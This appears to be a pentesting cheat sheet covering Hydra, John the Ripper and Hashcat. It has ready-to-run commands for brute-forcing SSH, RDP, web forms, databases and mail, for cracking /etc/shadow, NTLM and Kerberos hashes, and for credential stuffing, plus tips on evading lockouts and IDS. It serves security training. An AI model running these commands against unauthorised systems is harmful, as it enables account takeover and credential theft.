# Statistics:
tshark -r capture.pcap -qz conv,tcp # TCP conversations
tshark -r capture.pcap -qz endpoints,ip # IP endpoints
tshark -r capture.pcap -qz http,tree # HTTP stats
tshark -r capture.pcap -qz dns,tree # DNS stats
Hydra (THE Multi-Protocol Brute-Forcing Tool)
What is Hydra? Hydra (also called THC-Hydra) is a parallelized network authentication cracker. It supports brute-forcing and dictionary attacks against 50+ protocols including SSH, FTP, HTTP, HTTPS, SMB, RDP, VNC, MySQL, PostgreSQL, MSSQL, SMTP, POP3, IMAP, LDAP, and many more. Think of it as the "Swiss Army knife" of password cracking - one tool, dozens of protocols!
Why Hydra? It's FAST (parallel connections), supports tons of protocols, has smart features (resume sessions, flexible username/password lists), and is the go-to tool for brute-forcing network services during pentests!
Basic Installation & Usage
# Hydra is pre-installed on Kali Linux
hydra -h
# Or install on other systems:
sudo apt install hydra # Debian/Ubuntu
sudo yum install hydra # RedHat/CentOS
brew install hydra # macOS
# Basic syntax:
hydra [options] [target] [protocol]://[IP/hostname]
Essential Hydra Flags
# Target specification:
-l LOGIN # Single username
-L FILE # Username list file
-p PASS # Single password
-P FILE # Password list file
-C FILE # Colon-separated "login:pass" file
-M FILE # List of target servers (one per line)
# Performance options:
-t TASKS # Number of parallel connections (default: 16)
-w TIMEOUT # Timeout in seconds (default: 30)
-W WAITTIME # Wait time between attempts (throttling)
# Control options:
-f # Exit after first found login/password
-F # Exit after first valid login for any user
-v # Verbose output (show attempts)
-V # Very verbose (show login+pass for every attempt)
-q # Quiet mode (don't show attempts)
-o FILE # Write results to file
-b FORMAT # Output format (text, json, jsonv1)
# Protocol-specific options:
-s PORT # Custom port number
-S # Use SSL/TLS
-m OPT # Module-specific options (varies by protocol)
# Advanced options:
-e nsr # Try "n" (null password), "s" (same as username), "r" (reverse username)
-u # Loop users first (try all passwords for user1, then user2, etc.)
-R # Restore previous session
-I # Ignore existing restore file (start fresh)
Flag Explanations:
- -l / -L: Single username vs username list. Use -L for realistic attacks (try multiple usernames)
- -p / -P: Single password vs password list. Use -P with rockyou.txt or custom wordlists
- -C: Colon-separated format (user:pass per line) - useful for credential stuffing attacks
- -t: Parallel connections. Higher = faster BUT may trigger account lockouts or IDS alerts! Start with 4-8 for stealth
- -w: Connection timeout. Increase for slow networks, decrease for fast scans
- -f: Stop after first success. Good for testing if ANY credentials work
- -v / -V: Verbose output. Use -v to monitor progress, -V for debugging
- -e nsr: Try common patterns: n=null password (""), s=same as username (user=user, pass=user), r=reverse (user=john, pass=nhoj)
- -u: Loop users NOT passwords. Default tries all passwords for user1, then user2. Use -u to avoid account lockouts!
- -S: Use SSL/TLS. Essential for HTTPS, FTPS, IMAPS, POP3S, etc.
SSH Brute-Forcing
# Single username, password list:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5
# Username + password lists:
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# Custom port:
hydra -l root -P passwords.txt ssh://10.10.10.5 -s 2222
# Verbose with 4 parallel connections (stealthy):
hydra -l admin -P rockyou.txt -t 4 -v ssh://target.com
# Try common patterns (null, same as username, reverse):
hydra -L users.txt -e nsr ssh://10.10.10.5
# Loop users first (avoid lockout):
hydra -L users.txt -P passwords.txt -u ssh://10.10.10.5
# Save results to file:
hydra -l admin -P rockyou.txt -o ssh_results.txt ssh://10.10.10.5
Real-World Use: SSH is commonly exposed on pentests. Use small, targeted wordlists first (top 100 passwords), then escalate to rockyou.txt. ALWAYS use -u flag to avoid account lockouts!
FTP Brute-Forcing
# Basic FTP attack:
hydra -l admin -P passwords.txt ftp://10.10.10.5
# Custom port + verbose:
hydra -l ftp -P rockyou.txt -s 2121 -v ftp://target.com
# Try anonymous login + common passwords:
hydra -l anonymous -e nsr ftp://192.168.1.100
# Multiple targets from file:
hydra -l admin -P passwords.txt -M ftp_targets.txt ftp
Pro Tip: Always try "anonymous:anonymous" or "anonymous:" (null password) first - many FTP servers allow anonymous login!
HTTP/HTTPS Form Brute-Forcing
# HTTP POST form attack:
hydra -l admin -P passwords.txt 10.10.10.5 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
# HTTP GET form attack:
hydra -l admin -P passwords.txt target.com http-get-form "/admin/login:user=^USER^&pass=^PASS^:F=incorrect"
# HTTPS POST (SSL):
hydra -l admin -P passwords.txt -S https://target.com http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
# With custom headers (User-Agent, Cookie):
hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid:H=User-Agent\: Mozilla/5.0:Cookie\: sessionid=abc123"
# Success condition (redirect or success message):
hydra -l admin -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:S=Welcome"
Form Syntax Breakdown:
- "/login.php": Path to login form
- "username=^USER^&password=^PASS^": POST parameters (^USER^ and ^PASS^ are placeholders)
- "Invalid credentials": Failure message (text that appears when login fails)
- F=text: Failure condition (F= means look for this text on failure)
- S=text: Success condition (S= means look for this text on success)
- H=header: Add custom HTTP headers (multiple H= allowed)
How to Find Form Parameters: Use Burp Suite to capture login request, copy POST data, replace username/password values with ^USER^ and ^PASS^
HTTP Basic Authentication
# HTTP Basic Auth:
hydra -l admin -P passwords.txt http-get://10.10.10.5/admin
# HTTPS Basic Auth:
hydra -l admin -P passwords.txt -S https://target.com/restricted
# Custom port:
hydra -l admin -P passwords.txt -s 8080 http-get://target.com/admin
What is Basic Auth? That popup box asking for username/password (not an HTML form). Common on routers, network devices, admin panels.
SMB / Windows Share Brute-Forcing
# SMB attack (Windows shares):
hydra -l Administrator -P passwords.txt smb://10.10.10.5
# Try null sessions + common passwords:
hydra -L users.txt -e nsr smb://192.168.1.100
# Domain authentication:
hydra -l DOMAIN\\username -P passwords.txt smb://10.10.10.5
Real-World Use: SMB brute-forcing against Windows machines. Use with username enumeration (enum4linux, CrackMapExec) to build target list!
RDP (Remote Desktop) Brute-Forcing
# RDP attack:
hydra -l administrator -P passwords.txt rdp://10.10.10.5
# Custom port + verbose:
hydra -l admin -P passwords.txt -s 3390 -v rdp://target.com
# Low parallel connections (avoid lockout):
hydra -l admin -P passwords.txt -t 2 rdp://10.10.10.5
WARNING: RDP often has account lockout policies! Use -t 1 or -t 2 (very slow) and -u flag (loop users). Consider using domain password policies to time attacks (e.g., lockout resets after 30 minutes).
VNC Brute-Forcing
# VNC attack (VNC uses password-only auth, no username):
hydra -P passwords.txt vnc://10.10.10.5
# Custom port:
hydra -P passwords.txt -s 5901 vnc://target.com
VNC Note: VNC doesn't use usernames, only passwords! Use -P flag without -l / -L.
Database Brute-Forcing
# MySQL:
hydra -l root -P passwords.txt mysql://10.10.10.5
# PostgreSQL:
hydra -l postgres -P passwords.txt postgresql://10.10.10.5
# MSSQL (Microsoft SQL Server):
hydra -l sa -P passwords.txt mssql://10.10.10.5
# MongoDB (no auth by default, but can be configured):
hydra -l admin -P passwords.txt mongodb://10.10.10.5
# Oracle:
hydra -l system -P passwords.txt oracle-listener://10.10.10.5
Common DB Users: MySQL: root, admin, dbuser | PostgreSQL: postgres, admin | MSSQL: sa (system admin), Administrator | MongoDB: admin, root
Email Protocol Brute-Forcing
# SMTP (port 25, 587, 465):
hydra -l user@example.com -P passwords.txt smtp://mail.example.com
hydra -l user@example.com -P passwords.txt -s 587 smtp://mail.example.com
hydra -l user@example.com -P passwords.txt -S smtps://mail.example.com # SSL
# POP3 (port 110, 995):
hydra -l user@example.com -P passwords.txt pop3://mail.example.com
hydra -l user@example.com -P passwords.txt -S pop3s://mail.example.com # SSL
# IMAP (port 143, 993):
hydra -l user@example.com -P passwords.txt imap://mail.example.com
hydra -l user@example.com -P passwords.txt -S imaps://mail.example.com # SSL
Email Attack Strategy: Enumerate valid email addresses first (use theHarvester, Hunter.io), then brute-force with targeted wordlists (company name variations, seasons+year, etc.)
LDAP Brute-Forcing
# LDAP (Active Directory):
hydra -l CN=admin,DC=example,DC=com -P passwords.txt ldap://10.10.10.5
# LDAPS (SSL):
hydra -l admin@example.com -P passwords.txt -S ldaps://dc.example.com
Other Supported Protocols
# Telnet:
hydra -l admin -P passwords.txt telnet://10.10.10.5
# Cisco devices (enable password):
hydra -P passwords.txt cisco://10.10.10.5
hydra -P passwords.txt cisco-enable://10.10.10.5
# SNMP community strings:
hydra -P community_strings.txt snmp://10.10.10.5
# Redis:
hydra -P passwords.txt redis://10.10.10.5
# Rlogin:
hydra -l root -P passwords.txt rlogin://10.10.10.5
# Rsh:
hydra -l root -P passwords.txt rsh://10.10.10.5
# CVS:
hydra -l admin -P passwords.txt cvs://10.10.10.5
# Subversion (SVN):
hydra -l admin -P passwords.txt svn://10.10.10.5
# IRC:
hydra -l nickname -P passwords.txt irc://irc.server.com
# SOCKS5 proxy:
hydra -l user -P passwords.txt socks5://10.10.10.5
Advanced Techniques
# Restore interrupted session:
# Hydra saves progress automatically
hydra -R # Resume last session
# Ignore restore file (start fresh):
hydra -I -l admin -P passwords.txt ssh://10.10.10.5
# Multiple targets:
# Create targets.txt (one IP/hostname per line)
hydra -l admin -P passwords.txt -M targets.txt ssh
# Colon-separated credentials (credential stuffing):
# Create creds.txt with format: username:password
hydra -C leaked_credentials.txt ssh://10.10.10.5
# Custom timing (slow, stealthy):
hydra -l admin -P passwords.txt -t 1 -w 30 ssh://10.10.10.5
# -t 1 = one connection at a time
# -w 30 = 30 second timeout
# JSON output:
hydra -l admin -P passwords.txt -b jsonv1 -o results.json ssh://10.10.10.5
# Proxy through another host:
hydra -l admin -P passwords.txt ssh://10.10.10.5 -m PROXY:proxy.example.com:8080
Wordlist Strategies
# Common wordlist locations (Kali Linux):
/usr/share/wordlists/rockyou.txt # 14 million passwords
/usr/share/wordlists/dirb/common.txt # Common passwords
/usr/share/seclists/Passwords/Common-Credentials/ # Curated lists
/usr/share/seclists/Passwords/darkweb2017-top10000.txt
# Extract rockyou.txt (if compressed):
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
# Create custom wordlist (CeWL - website spider):
cewl https://target-company.com -d 2 -m 5 -w custom_wordlist.txt
# -d 2 = depth 2
# -m 5 = minimum word length 5
# Generate password variations (John the Ripper rules):
john --wordlist=words.txt --rules --stdout > expanded_wordlist.txt
# Create targeted wordlist:
# Company name variations, seasons+year, common patterns
echo -e "Company123\nCompany2024\nWinter2024\nSummer2024\nPassword123" > custom.txt
Hydra GUI (hydra-gtk)
# Launch GUI version:
hydra-gtk
# GUI provides:
# - Point-and-click interface
# - Protocol selection dropdown
# - Username/password file selection
# - Visual progress monitoring
# - Easy option configuration
When to Use GUI: Great for beginners learning Hydra syntax, quick one-off attacks, visual progress monitoring. CLI is better for scripting and advanced usage!
John the Ripper (THE CPU Password Cracking Tool)
What is John the Ripper? John the Ripper (JtR) is a CPU-based password cracker that supports 400+ hash formats including MD5, SHA, NTLM, LM, bcrypt, Kerberos, WPA/WPA2, ZIP/RAR archives, PDF passwords, SSH keys, and more. It's been around since 1996 and is the gold standard for offline password cracking. Think of it as the "Swiss Army knife" of hash cracking!
Why John? It's fast, supports TONS of formats, has intelligent cracking modes (single, wordlist, incremental), can use custom rules to generate password variations, and has conversion tools (zip2john, ssh2john, etc.) to extract hashes from files!
Installation & Basic Usage
# John is pre-installed on Kali Linux
john --help
# Or install on other systems:
sudo apt install john # Debian/Ubuntu
brew install john # macOS
# Basic syntax:
john [options] hashfile
Essential John Flags
# Cracking modes:
--single # Single crack mode (fast, uses username variations)
--wordlist=FILE # Wordlist mode (dictionary attack)
--incremental # Incremental mode (brute-force)
--external=MODE # External mode (custom algorithms)
--markov # Markov mode (statistical patterns)
# Hash format:
--format=FORMAT # Specify hash type (md5, sha256, ntlm, bcrypt, etc.)
--list=formats # Show all supported formats (400+!)
--list=format-details # Show detailed format info
# Wordlist enhancements:
--rules # Apply transformation rules
--rules=RULENAME # Use specific rule set
# Session management:
--session=NAME # Name session (for saving progress)
--restore=NAME # Restore saved session
--status=NAME # Show session status
# Output options:
--show # Show cracked passwords
--pot=FILE # Custom potfile location (cracked passwords)
--stdout # Output candidate passwords to stdout (for piping)
# Performance:
--fork=N # Parallel processing (N = number of cores)
--node=MIN-MAX/TOTAL # Distributed cracking
# Encoding:
--encoding=TYPE # Character encoding (utf-8, cp1252, etc.)
Flag Explanations:
- --format: CRITICAL! Specifies hash type. Wrong format = no results. Use
--list=formats to see all 400+ supported types
- --single: Fastest mode. Uses username to generate password guesses (john → john123, JOHN, john2024). Always try this first!
- --wordlist: Dictionary attack. Uses password list (rockyou.txt, custom wordlists)
- --incremental: Brute-force. Tries all combinations (a, aa, ab, ac...). SLOWEST but guaranteed to find password eventually
- --rules: Applies transformations to wordlist (capitalize, add numbers, leet speak). Multiplies wordlist effectiveness!
- --fork: Multi-core processing. Use
--fork=4 for 4 CPU cores (speeds up cracking significantly)
- --show: Display already cracked passwords from potfile
- --session: Save progress. If John is interrupted, you can resume with
--restore
Cracking Linux Passwords (Unshadow)
# Linux stores passwords in /etc/shadow (root only)
# User info is in /etc/passwd
# John needs BOTH files combined:
# Combine passwd + shadow files:
unshadow /etc/passwd /etc/shadow > hashes.txt
# Crack with single mode (fast):
john --single hashes.txt
# Crack with wordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Crack with rules (wordlist + transformations):
john --wordlist=rockyou.txt --rules hashes.txt
# Show cracked passwords:
john --show hashes.txt
# Incremental mode (brute-force):
john --incremental hashes.txt
Real-World Use: During pentests, if you get root access, grab /etc/passwd and /etc/shadow, combine with unshadow, crack offline. Common in CTFs!
Cracking Windows Passwords (NTLM)
# Windows passwords stored as NTLM hashes
# Extract with secretsdump.py (Impacket) or mimikatz
# NTLM hash format: username:RID:LM:NTLM:::
# Example: Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
# Crack NTLM hashes:
john --format=nt ntlm_hashes.txt
# With wordlist + rules:
john --format=nt --wordlist=rockyou.txt --rules ntlm_hashes.txt
# Show cracked:
john --format=nt --show ntlm_hashes.txt
# LM hashes (older Windows, very weak):
john --format=lm lm_hashes.txt
NTLM vs LM: LM hashes are VERY weak (max 14 chars, uppercase only, split into 7-char chunks). NTLM is stronger but still vulnerable to brute-force and rainbow tables. Always crack LM first (seconds), then NTLM!
List All Supported Formats
# Show ALL formats (400+):
john --list=formats
# Common formats:
md5crypt # Linux /etc/shadow MD5
sha512crypt # Linux /etc/shadow SHA-512
bcrypt # Linux /etc/shadow bcrypt
nt # Windows NTLM
lm # Windows LM (old)
mscash2 # Windows cached credentials
krb5tgs # Kerberos TGS (Kerberoasting)
krb5asrep # Kerberos AS-REP
raw-md5 # Raw MD5 hash
raw-sha1 # Raw SHA1
raw-sha256 # Raw SHA-256
zip # ZIP file passwords
rar # RAR archive passwords
office # MS Office documents
pdf # PDF passwords
ssh # SSH private keys
mysql-sha1 # MySQL passwords
postgres # PostgreSQL passwords
mssql # MSSQL passwords
# Search for specific format:
john --list=formats | grep -i ntlm
john --list=formats | grep -i kerberos
Converting File Formats (xxx2john)
# John includes conversion tools to extract hashes from files:
# ZIP file passwords:
zip2john encrypted.zip > zip_hash.txt
john --wordlist=rockyou.txt zip_hash.txt
# RAR archive passwords:
rar2john encrypted.rar > rar_hash.txt
john rar_hash.txt
# SSH private key passphrases:
ssh2john id_rsa > ssh_hash.txt
john --wordlist=rockyou.txt ssh_hash.txt
# PDF passwords:
pdf2john encrypted.pdf > pdf_hash.txt
john pdf_hash.txt
# MS Office documents (Word, Excel, PowerPoint):
office2john document.docx > office_hash.txt
john office_hash.txt
# 7-Zip archives:
7z2john encrypted.7z > 7z_hash.txt
john 7z_hash.txt
# Encrypted Keepass databases:
keepass2john database.kdbx > keepass_hash.txt
john keepass_hash.txt
# TrueCrypt/VeraCrypt volumes:
truecrypt2john encrypted_volume > tc_hash.txt
john tc_hash.txt
# BitLocker encrypted drives:
bitlocker2john /dev/sdb1 > bitlocker_hash.txt
john bitlocker_hash.txt
# Mozilla Firefox/Thunderbird master passwords:
mozilla2john signons.sqlite > mozilla_hash.txt
john mozilla_hash.txt
# WPA/WPA2 WiFi handshakes:
# First capture handshake with aircrack-ng
wpa2john capture.pcap > wpa_hash.txt
john --wordlist=rockyou.txt wpa_hash.txt
How it Works: xxx2john tools extract password hashes from encrypted files and convert them into John's format. Then John cracks the hash just like any other password!
Cracking Kerberos Tickets (Kerberoasting)
# Kerberoasting attack (Active Directory):
# 1. Request Kerberos service tickets (with GetUserSPNs.py)
# 2. Extract and crack tickets offline
# Kerberos TGS tickets (Kerberoasting):
john --format=krb5tgs --wordlist=rockyou.txt kerberos_tickets.txt
# Kerberos AS-REP (AS-REP Roasting):
john --format=krb5asrep --wordlist=rockyou.txt asrep_hashes.txt
# With rules for faster cracking:
john --format=krb5tgs --wordlist=rockyou.txt --rules kerberos_tickets.txt
Real-World Use: After Kerberoasting (GetUserSPNs.py), you get encrypted service tickets. Crack offline with John, then use credentials to access services or escalate privileges!
Rule-Based Attacks
# Rules transform wordlist passwords (multiply effectiveness)
# Example: "password" becomes: Password, password123, p@ssword, PASSWORD, etc.
# Use default rules:
john --wordlist=rockyou.txt --rules hashes.txt
# Use specific rule set:
john --wordlist=rockyou.txt --rules=Jumbo hashes.txt
# List available rules:
john --list=rules
# Common rule sets:
--rules=Single # Single mode rules (username variations)
--rules=Wordlist # Basic wordlist transformations
--rules=Jumbo # Comprehensive ruleset (JtR Jumbo)
--rules=KoreLogic # KoreLogic rules (very powerful)
# Custom rules (in john.conf):
# Rules syntax examples:
# c = Capitalize first letter (password → Password)
# u = Uppercase all (password → PASSWORD)
# l = Lowercase all (PASSWORD → password)
# $1 = Append "1" (password → password1)
# ^1 = Prepend "1" (password → 1password)
# sa@ = Replace "a" with "@" (password → p@ssword)
# [...]
# Generate candidates to stdout (preview rules):
john --wordlist=words.txt --rules --stdout | head -20
Rule Power: Rules dramatically increase wordlist effectiveness. A 1000-word list with rules becomes 100,000+ candidates! Essential for cracking complex passwords!
Incremental Mode (Brute-Force)
# Incremental mode = pure brute-force
# Tries all character combinations in order
# Default incremental (lowercase + digits):
john --incremental hashes.txt
# All printable ASCII characters:
john --incremental=ASCII hashes.txt
# Alphanumeric only:
john --incremental=Alnum hashes.txt
# Digits only (PIN codes):
john --incremental=Digits hashes.txt
# Custom character set (in john.conf):
john --incremental=Custom hashes.txt
# Limit length (faster):
# Edit john.conf: MinLen = 1, MaxLen = 8
john --incremental hashes.txt
Performance Warning: Incremental mode is SLOW for long passwords! 8 chars = hours, 10 chars = days/weeks, 12+ chars = months/years. Only use for short passwords or as last resort!
Session Management
# Save progress automatically:
john --session=mysession --wordlist=rockyou.txt hashes.txt
# Interrupt with Ctrl+C (John saves progress)
# Restore saved session:
john --restore=mysession
# Check session status:
john --status=mysession
# Default session name is "john" if not specified
john --restore # Restores default session
Why Sessions? Cracking can take hours/days. Sessions let you pause, resume, check progress without losing work!
Parallel Processing
# Use multiple CPU cores:
john --fork=4 --wordlist=rockyou.txt hashes.txt
# --fork=4 uses 4 cores
# Check number of cores:
nproc # Linux
sysctl -n hw.ncpu # macOS
# Distributed cracking (multiple machines):
# Machine 1 (1st quarter):
john --node=1-4/16 --wordlist=rockyou.txt hashes.txt
# Machine 2 (2nd quarter):
john --node=5-8/16 --wordlist=rockyou.txt hashes.txt
# Machine 3 (3rd quarter):
john --node=9-12/16 --wordlist=rockyou.txt hashes.txt
# Machine 4 (4th quarter):
john --node=13-16/16 --wordlist=rockyou.txt hashes.txt
Distributed Cracking: Split work across multiple machines for MASSIVE speedup! Each machine cracks different portion of keyspace!
Show Cracked Passwords
# Show cracked passwords:
john --show hashes.txt
# Show with specific format:
john --format=nt --show ntlm_hashes.txt
# Show only usernames:
john --show --users=0 hashes.txt
# Show with left uncracked:
john --show=left hashes.txt
# Potfile location (cracked passwords stored here):
~/.john/john.pot # Linux/Mac
%USERPROFILE%\.john\john.pot # Windows
Hashcat (THE GPU Password Cracking Tool)
What is Hashcat? Hashcat is the world's fastest password cracker using GPU acceleration. It can leverage your graphics card (NVIDIA, AMD, Intel) to crack passwords 100-1000x faster than CPU-based tools! Supports 400+ hash algorithms including MD5, SHA, NTLM, bcrypt, WPA/WPA2, Kerberos, database hashes, and more. If John the Ripper is a bicycle, Hashcat is a Ferrari! 🏎️
Why Hashcat? GPU parallelism = MASSIVE speed. A single high-end GPU can try billions of passwords per second for fast hashes (MD5, NTLM). Essential for cracking large password dumps, WPA handshakes, and modern hashes!
Installation & GPU Setup
# Hashcat is pre-installed on Kali Linux
hashcat --help
# Or install on other systems:
sudo apt install hashcat # Debian/Ubuntu
brew install hashcat # macOS
# Check GPU availability:
hashcat -I
# Shows: NVIDIA, AMD, or Intel GPUs
# Benchmark your GPU:
hashcat -b
# Shows hash/s for each algorithm
GPU Requirements: NVIDIA (CUDA), AMD (OpenCL), or Intel (OpenCL). Modern GPUs = faster. RTX 3090 can do 100+ GH/s for NTLM!
Hash Modes (-m flag)
# Hashcat uses -m flag to specify hash type
# There are 400+ hash modes!
# Common hash modes:
-m 0 # MD5
-m 100 # SHA1
-m 1000 # NTLM (Windows passwords)
-m 1800 # Linux SHA-512 (/etc/shadow)
-m 3000 # LM (old Windows)
-m 3200 # bcrypt (Linux /etc/shadow)
-m 5600 # NetNTLMv2
-m 13100 # Kerberos TGS (Kerberoasting)
-m 18200 # Kerberos AS-REP
-m 22000 # WPA/WPA2 PMKID
-m 2500 # WPA/WPA2 (old format)
-m 11600 # 7-Zip
-m 13600 # WinZip
-m 10400 # PDF 1.1-1.3
-m 10500 # PDF 1.4-1.6
-m 9400 # MS Office 2007
-m 9500 # MS Office 2010
-m 9600 # MS Office 2013
-m 200 # MySQL 4.1/5.x
-m 12 # PostgreSQL
-m 131 # MSSQL (2000)
-m 132 # MSSQL (2005/2008/2012/2014/2016)
# List all hash modes:
hashcat --help | grep -i "Hash modes"
# Example hash format detection:
hashcat --identify hash.txt # Auto-detect hash type (if possible)
Attack Modes (-a flag)
# Attack modes define how passwords are generated:
-a 0 # Straight (wordlist attack)
-a 1 # Combination (combine two wordlists)
-a 3 # Brute-force (mask attack)
-a 6 # Hybrid Wordlist + Mask
-a 7 # Hybrid Mask + Wordlist
Attack Mode Explanations:
- -a 0 (Straight): Use wordlist as-is (with optional rules). Most common!
- -a 1 (Combination): Combine words from two lists (word1+word2). Example: "dragon" + "ball" = "dragonball"
- -a 3 (Brute-force/Mask): Try all combinations matching pattern (?l=lowercase, ?u=uppercase, ?d=digit, ?s=special)
- -a 6 (Hybrid): Wordlist + mask. Example: wordlist "password" + mask "?d?d" = password00, password01, ..., password99
- -a 7 (Hybrid): Mask + wordlist. Example: mask "?d?d" + wordlist "password" = 00password, 01password, etc.
Straight Attack (Wordlist)
# Basic wordlist attack:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 0 = MD5 hashes
# -a 0 = Straight attack
# hashes.txt = file with hashes (one per line)
# rockyou.txt = password wordlist
# NTLM (Windows) hashes:
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
# Linux SHA-512 hashes:
hashcat -m 1800 -a 0 shadow_hashes.txt rockyou.txt
# With rules (multiply wordlist effectiveness):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Multiple rule files (combined):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r leetspeak.rule
Hash File Format: One hash per line (plain MD5/SHA/NTLM), or username:hash format for Linux shadow hashes
Mask Attack (Brute-Force)
# Mask attack tries all combinations matching pattern
# Mask characters:
# ?l = lowercase (a-z)
# ?u = uppercase (A-Z)
# ?d = digit (0-9)
# ?h = hex (0-9a-f)
# ?H = hex uppercase (0-9A-F)
# ?s = special chars (!@#$%^&*...)
# ?a = all characters (?l?u?d?s)
# ?b = all 0x00-0xff bytes
# 8-char lowercase:
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l
# 6-digit PIN:
hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d
# Password followed by 2 digits (password01, password02, etc.):
hashcat -m 0 -a 3 hashes.txt password?d?d
# 8-char alphanumeric (lowercase + digits):
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?d?d?d?d
# Complex: Uppercase + 6 lowercase + 2 digits:
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d
# Custom charset (only certain characters):
hashcat -m 0 -a 3 hashes.txt -1 ?l?d ?1?1?1?1?1?1?1?1
# -1 defines custom charset (?1 = lowercase + digits)
# Increment mode (try all lengths from 1 to N):
hashcat -m 0 -a 3 hashes.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=8
Performance Warning: Mask attacks are EXPONENTIALLY slow! ?l?l?l?l?l?l?l?l (8 lowercase) = 26^8 = 208 billion attempts. Only feasible for fast hashes (MD5, NTLM) or short passwords!
Combination Attack
# Combine words from two wordlists:
hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt
# Example combinations:
# wordlist1.txt: super, mega, ultra
# wordlist2.txt: admin, user, password
# Results: superadmin, superuser, superpassword, megaadmin, etc.
# Useful for multi-word passwords like "dragonballz", "passwordadmin"
Hybrid Attacks
# Hybrid Wordlist + Mask (-a 6):
# Append mask to wordlist words
hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d
# Tries: password00, password01, ..., password99, admin00, admin01, etc.
hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d
# Append 4 digits (password2024, admin2024, etc.)
# Hybrid Mask + Wordlist (-a 7):
# Prepend mask to wordlist words
hashcat -m 0 -a 7 hashes.txt ?d?d wordlist.txt
# Tries: 00password, 01password, 99password, 00admin, etc.
Real-World Use: Passwords often follow patterns like "word+numbers" (password123, admin2024). Hybrid attacks target these patterns efficiently!
Rule-Based Attacks
# Rules transform wordlist passwords (same as John the Ripper)
# Hashcat includes powerful rule files:
# Best64 (most effective 64 rules):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Common rule files (in /usr/share/hashcat/rules/):
best64.rule # Top 64 rules (RECOMMENDED for most attacks)
rockyou-30000.rule # 30,000 rules from RockYou breach analysis
dive.rule # 2,152,768 rules (VERY comprehensive)
d3ad0ne.rule # 34,555 rules
T0XlC.rule # 14,885 rules
leetspeak.rule # Leet speak transformations (a→@, e→3, etc.)
toggles1.rule # Toggle case variations
# Multiple rules (combined):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r leetspeak.rule
# Generate rules to stdout (preview):
hashcat -a 0 --stdout wordlist.txt -r best64.rule | head -20
Performance Options
# Workload profiles (-w flag):
-w 1 # Low (minimal GPU usage, desktop usable)
-w 2 # Default (balanced)
-w 3 # High (heavy GPU usage, desktop may lag)
-w 4 # Nightmare (maximum performance, desktop unusable)
# Example:
hashcat -m 1000 -a 0 -w 3 hashes.txt rockyou.txt
# Optimized kernels (-O flag):
hashcat -m 1000 -a 0 -O hashes.txt rockyou.txt
# Faster but limits password length (usually 32 chars max)
# Device selection (-d flag):
hashcat -d 1 -m 1000 -a 0 hashes.txt rockyou.txt # Use GPU 1 only
hashcat -d 1,2 -m 1000 -a 0 hashes.txt rockyou.txt # Use GPU 1 and 2
# Show devices:
hashcat -I # List available devices
Output & Session Management
# Save cracked passwords:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt
# Output format (--outfile-format):
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -o cracked.txt --outfile-format=2
# Formats: 1=hash, 2=plain, 3=hash:plain, 4=hex, 5=plain:hex, etc.
# Session management (save progress):
hashcat -m 1000 -a 0 --session=mysession hashes.txt rockyou.txt
# Pause session (Ctrl+C or 'p' key)
# Resume session:
hashcat --session=mysession --restore
# Remove session files:
hashcat --session=mysession --remove
Show Cracked Passwords
# Show cracked hashes (from potfile):
hashcat -m 1000 --show hashes.txt
# Potfile location:
~/.hashcat/hashcat.potfile # Linux/Mac
%APPDATA%\hashcat\hashcat.potfile # Windows
# Show only left (uncracked):
hashcat -m 1000 --show --left hashes.txt
# Custom potfile:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --potfile-path=custom.pot
Real-World Examples
# NTLM hashes (Windows) with rules:
hashcat -m 1000 -a 0 -w 3 ntlm.txt rockyou.txt -r best64.rule -O
# WPA/WPA2 handshake (PMKID attack):
# First convert with hcxpcapngtool:
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 -a 0 hash.hc22000 rockyou.txt
# Kerberoasting (Kerberos TGS):
hashcat -m 13100 -a 0 kerberos_tickets.txt rockyou.txt -r best64.rule
# AS-REP Roasting:
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt
# ZIP file password:
# First extract hash with zip2john (or use 7z2hashcat)
hashcat -m 11600 -a 0 zip_hash.txt rockyou.txt
# PDF password:
hashcat -m 10500 -a 0 pdf_hash.txt rockyou.txt
# MS Office document:
hashcat -m 9600 -a 0 office_hash.txt rockyou.txt # Office 2013
# NetNTLMv2 (captured with Responder):
hashcat -m 5600 -a 0 netntlmv2.txt rockyou.txt
# bcrypt (Linux /etc/shadow):
hashcat -m 3200 -a 0 -w 3 bcrypt_hashes.txt rockyou.txt
# WARNING: bcrypt is VERY slow even on GPU!
Benchmark Your GPU
# Full benchmark (all algorithms):
hashcat -b
# Benchmark specific hash mode:
hashcat -b -m 1000 # NTLM benchmark
hashcat -b -m 0 # MD5 benchmark
hashcat -b -m 22000 # WPA2 benchmark
# Example output (RTX 3090):
# MD5: 100 GH/s (100 billion hashes/second!)
# NTLM: 160 GH/s
# bcrypt: 150 kH/s (slow!)
# WPA2: 1.5 MH/s
